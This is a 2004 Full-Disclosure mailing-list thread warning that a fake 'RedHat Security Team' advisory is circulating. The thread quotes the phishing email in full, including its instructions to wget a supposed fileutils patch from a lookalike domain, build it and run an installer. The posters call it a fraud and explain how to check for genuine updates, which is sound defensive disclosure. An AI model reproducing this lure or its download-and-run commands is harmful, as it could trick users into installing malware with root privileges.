[Full-Disclosure] FAKE: RedHat: Buffer Overflow in "ls" and "mkdir"
var at deny-all.com
Mon Oct 25 10:01:53 BST 2004
On Sun, Oct 24, 2004 at 07:51:09PM -0400, Harry Hoffman wrote:
> haha, that's pretty funny. If they were going to do something like that
> it should have at least been in a rpm format.
Considering you can put an executable script inside, if I remember right.
> I'm hoping that this doesn't need to be said but if neither
> "yum check-update || up2date -l" report anything then chances are there
> are no "Official Fedora Updates"
> Hugo van der Kooij wrote:
> >-----BEGIN PGP SIGNED MESSAGE-----
> >Be advised.
> >The message below is currently going around on internet. Being unsinged
> >was the fist obvious issue. Not pointing to RPM updates, being in a
> >different format and such were among the other reasong to suspect it.
> >Message was send from 'University of Texas at Arlington'.
> >I am sure none of you should be fooled by such a message but other might
> >And while it lasts you may want to get the file for your own educational
> >- ---------- Forwarded message ----------
> >Date: Sun, 24 Oct 2004 17:22:20 -0500
> >From: RedHat Security Team <security at redhat.com>
> >To: *****************
> >Subject: RedHat: Buffer Overflow in "ls" and "mkdir"
> >Original issue date: October 20, 2004
> >Last revised: October 20, 2004
> >Source: RedHat
> >A complete revision history is at the end of this file.
> >Dear RedHat user,
> >Redhat found a vulnerability in fileutils (ls and mkdir), that could
> >allow a remote attacker to execute arbitrary code with root privileges.
> >Some of the affected linux distributions include RedHat 7.2, RedHat 7.3,
> >RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is
> >known that *BSD and Solaris platforms are NOT affected.
> >The RedHat Security Team strongly advises you to immediately apply the
> >fileutils-1.0.6 patch. This is a critical-critical update that you must
> >make by following these steps:
> > * First download the patch from the Security RedHat mirror: wget
> > www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz
> > * Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz
> > * cd fileutils-1.0.6.patch
> > * make
> > * ./inst
> >Again, please apply this patch as soon as possible or you risk your
> >system and others` to be compromised.
> >Thank you for your prompt attention to this serious matter,
> >RedHat Security Team.
> >Copyright (C) 2004 Red Hat, Inc. All rights reserved.
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